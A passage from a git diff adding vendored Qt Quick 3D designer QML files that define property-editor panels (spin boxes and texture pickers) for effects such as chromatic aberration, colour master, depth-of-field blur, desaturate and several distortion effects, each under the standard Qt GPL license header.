terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + BrushStrokesSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ChromaticAberrationSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ChromaticAberrationSection.qml new file mode 100644 index 00000000..43209bba --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ChromaticAberrationSection.qml @@ -0,0 +1,91 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Mask") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Mask Texture") + tooltip: qsTr("Defines a texture for mask.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.maskTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Aberration") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Amount") + tooltip: qsTr("Amount of aberration.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1000 + minimumValue: -1000 + decimals: 0 + backendValue: backendValues.aberrationAmount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Focus Depth") + tooltip: qsTr("Focus depth of the aberration.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 10000 + minimumValue: 0 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.focusDepth + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ChromaticAberrationSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ChromaticAberrationSpecifics.qml new file mode 100644 index 00000000..57f4ac6b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ChromaticAberrationSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ChromaticAberrationSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ColorMasterSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ColorMasterSection.qml new file mode 100644 index 00000000..27bee26a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ColorMasterSection.qml @@ -0,0 +1,100 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Colors") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Red Strength") + tooltip: qsTr("Red strength.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.redStrength + Layout.fillWidth: true + } + } + Label { + text: qsTr("Green Strength") + tooltip: qsTr("Green strength.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.greenStrength + Layout.fillWidth: true + } + } + Label { + text: qsTr("Blue Strength") + tooltip: qsTr("Blue strength.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.blueStrength + Layout.fillWidth: true + } + } + Label { + text: qsTr("Saturation") + tooltip: qsTr("Color saturation.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: -1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.saturation + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ColorMasterSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ColorMasterSpecifics.qml new file mode 100644 index 00000000..4d622f9d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ColorMasterSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ColorMasterSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DepthOfFieldHQBlurSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DepthOfFieldHQBlurSection.qml new file mode 100644 index 00000000..304483ae --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DepthOfFieldHQBlurSection.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Blur") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Blur Amount") + tooltip: qsTr("Amount of blur.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 50 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.blurAmount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Focus Distance") + tooltip: qsTr("Focus distance of the blur.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 5000 + minimumValue: 0 + decimals: 0 + backendValue: backendValues.focusDistance + Layout.fillWidth: true + } + } + Label { + text: qsTr("Focus Range") + tooltip: qsTr("Focus range of the blur.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 5000 + minimumValue: 0 + decimals: 0 + backendValue: backendValues.focusRange + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DepthOfFieldHQBlurSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DepthOfFieldHQBlurSpecifics.qml new file mode 100644 index 00000000..94b1674f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DepthOfFieldHQBlurSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + DepthOfFieldHQBlurSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DesaturateSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DesaturateSection.qml new file mode 100644 index 00000000..42e5d56c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DesaturateSection.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Desaturate") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Amount") + tooltip: qsTr("Strength of the desaturate.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: -1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.amount + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DesaturateSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DesaturateSpecifics.qml new file mode 100644 index 00000000..f2536139 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DesaturateSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + DesaturateSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionRippleSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionRippleSection.qml new file mode 100644 index 00000000..71b17e5e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionRippleSection.qml @@ -0,0 +1,150 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Distortion") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Radius") + tooltip: qsTr("Radius of the effect.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.radius + Layout.fillWidth: true + } + } + Label { + text: qsTr("Width") + tooltip: qsTr("Width of the distortion.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 2 + decimals: 2 + backendValue: backendValues.distortionWidth + Layout.fillWidth: true + } + } + Label { + text: qsTr("Height") + tooltip: qsTr("Height of the distortion.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.distortionHeight + Layout.fillWidth: true + } + } + Label { + text: qsTr("Phase") + tooltip: qsTr("Phase of the distortion.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 360 + minimumValue: 0 + decimals: 0 + backendValue: backendValues.distortionPhase + Layout.fillWidth: true + } + } + } + } + + Section { + id: centerSection + width: parent.width + caption: qsTr("Position") + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + ColumnLayout { + width: parent.width - 16 + + Label { + width: 100 + text: qsTr("Center") + tooltip: qsTr("Center of the distortion.") + } + RowLayout { + spacing: centerSection.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: centerSection.labelWidth + } + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.center_x + Layout.fillWidth: true + Layout.minimumWidth: centerSection.spinBoxMinimumWidth + } + } + RowLayout { + spacing: centerSection.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: centerSection.labelWidth + } + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.center_y + Layout.fillWidth: true + Layout.minimumWidth: centerSection.spinBoxMinimumWidth + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionRippleSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionRippleSpecifics.qml new file mode 100644 index 00000000..f653eb8b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionRippleSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + DistortionRippleSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSphereSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSphereSection.qml new file mode 100644 index 00000000..53ea1fdb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSphereSection.qml @@ -0,0 +1,126 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Distortion") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Radius") + tooltip: qsTr("Radius of the effect.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.radius + Layout.fillWidth: true + } + } + Label { + text: qsTr("Height") + tooltip: qsTr("Height of the distortion.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: -1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.distortionHeight + Layout.fillWidth: true + } + } + } + } + + Section { + id: centerSection + width: parent.width + caption: qsTr("Position") + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + ColumnLayout { + width: parent.width - 16 + + Label { + width: 100 + text: qsTr("Center") + tooltip: qsTr("Center of the distortion.") + } + RowLayout { + spacing: centerSection.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: centerSection.labelWidth + } + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.center_x + Layout.fillWidth: true + Layout.minimumWidth: centerSection.spinBoxMinimumWidth + } + } + RowLayout { + spacing: centerSection.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: centerSection.labelWidth + } + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.center_y + Layout.fillWidth: true + Layout.minimumWidth: centerSection.spinBoxMinimumWidth + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSphereSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSphereSpecifics.qml new file mode 100644 index 00000000..1fc3e4c2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSphereSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + DistortionSphereSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSpiralSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSpiralSection.qml new file mode 100644 index 00000000..c3395be8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSpiralSection.qml @@ -0,0 +1,125 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Distortion") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Radius") + tooltip: qsTr("Radius of the effect.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.radius + Layout.fillWidth: true + } + } + Label { + text: qsTr("Strength") + tooltip: qsTr("Strength of the distortion.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 10 + minimumValue: -10 + decimals: 2 + backendValue: backendValues.distortionStrength + Layout.fillWidth: true + } + } + } + } + + Section { + id: centerSection + width: parent.width + caption: qsTr("Position") + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + ColumnLayout { + width: parent.width - 16 + + Label { + width: 100 + text: qsTr("Center") + tooltip: qsTr("Center of the distortion.") + } + RowLayout { + spacing: centerSection.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: centerSection.labelWidth + } + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.center_x + Layout.fillWidth: true + Layout.minimumWidth: centerSection.spinBoxMinimumWidth + } + } + RowLayout { + spacing: centerSection.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: centerSection.labelWidth + } + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.center_y + Layout.fillWidth: true + Layout.minimumWidth: centerSection.spinBoxMinimumWidth + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSpiralSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSpiralSpecifics.qml new file mode 100644 index 00000000..5efe1495 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/DistortionSpiralSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + DistortionSpiralSection { + width: parent.width + } +} diff --git 